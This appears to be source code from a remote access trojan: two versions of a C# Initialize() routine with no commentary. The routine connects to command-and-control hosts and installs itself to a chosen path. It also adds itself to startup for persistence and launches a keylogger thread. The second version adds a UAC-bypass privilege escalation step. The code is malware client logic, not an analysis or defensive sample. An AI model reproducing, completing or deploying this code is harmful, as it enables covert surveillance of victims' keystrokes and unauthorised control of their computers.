private static void Initialize() { Thread.Sleep(2000); AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); GeoLocationHelper.Initialize(); if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; new Thread(SystemCore.UserIdleThread).Start(); if (Settings.STARTUP && Settings.INSTALL) { SystemCore.AddToStartup(); } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); ; } } else { if (!SystemCore.CreateMutex(ref _appMutex)) SystemCore.Disconnect = true; if (SystemCore.Disconnect) return; SystemCore.Install(); } }
private static void Initialize() { Thread.Sleep(2000); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); SystemCore.AccountType = SystemCore.GetAccountType(); SystemCore.InitializeGeoIp(); if (Settings.ENABLEUACESCALATION) { if (SystemCore.TryUacTrick()) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } } if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } new Thread(SystemCore.UserIdleThread).Start(); if (Settings.STARTUP && Settings.INSTALL) { SystemCore.AddToStartup(); } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Logger logger = new Logger(15000); Application.Run(_msgLoop); }).Start();; } } else { if (!SystemCore.CreateMutex(ref _appMutex)) { SystemCore.Disconnect = true; } if (SystemCore.Disconnect) { return; } SystemCore.Install(); } }